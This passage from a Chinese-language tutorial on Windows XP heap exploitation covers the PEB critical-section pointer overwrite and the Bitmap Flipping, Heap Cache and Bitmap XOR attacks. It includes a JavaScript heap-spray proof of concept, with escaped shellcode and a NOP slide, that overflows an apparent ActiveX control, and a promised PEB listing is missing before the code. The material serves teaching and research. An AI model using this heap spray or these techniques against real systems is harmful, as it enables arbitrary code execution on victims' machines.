由于当UEF被调用后，它最终会调用ExitProcess()来结束程序，而它在清理现场时需要进入临界区以同步线程，因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的，如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址，那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况：
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}
var s= '';
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);
</script>
</body>
</html>
五、Bitmap Flipping Attack
在 Heap Management 结构中包含有Freelist Bitmap标志位，它是一个4字节的DWORD值，当对应的FreeList[n]被填充时，bitmap就将被设置。当请求分配堆块时，它会先搜索与之大小合适的FreeList[n]，然后检测对应的bitmap，若上面为0就表示上面是块未使用的空闲块，则对应的FreeList[n]将用于分配配块，接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap，并能够覆盖freelist[n]中的值，那么我们就可以通过它来执行任意代码。更多信息可参见Ruxcon 2008大会上面的文章《Heaps About Heaps》
六、Heap Cache Attack
Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗，以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引，更重要的是，Heap Manager并没有将任何空闲块移动缓存中，这些空闲块一直保存在FreeList[0]中，但缓存中保存着一些指针，它们指向FreeList[0]中的某些节点，以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组，每一个bucket包含有intptr_t字节用于存储大小，还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下，数组包括有896个bucket，其大小在1024和8192之间，但大小是可配置的，我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式，比如De-synchronization Attack（通过覆写堆块头信息中的大小域，使每次请求同等大小堆块时都指向同一块已经使用的内存块，如果攻击者可能控制这一内存块中的内容，就有可能导致任意代码执行），Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性，在实际运用上很难派上用场，若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。
七、Bitmap XOR Attack
Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap，如果系统尝试清除这一错误的标志位，那么就可能从一个空闲位（free bit）切换到设置位(set bit)，进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域（CurSize），使其小于0x80，接着再使对应堆块中的前向指向与后向指针相等（flink == blink），并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大，权当了解，学习思路更为重要。
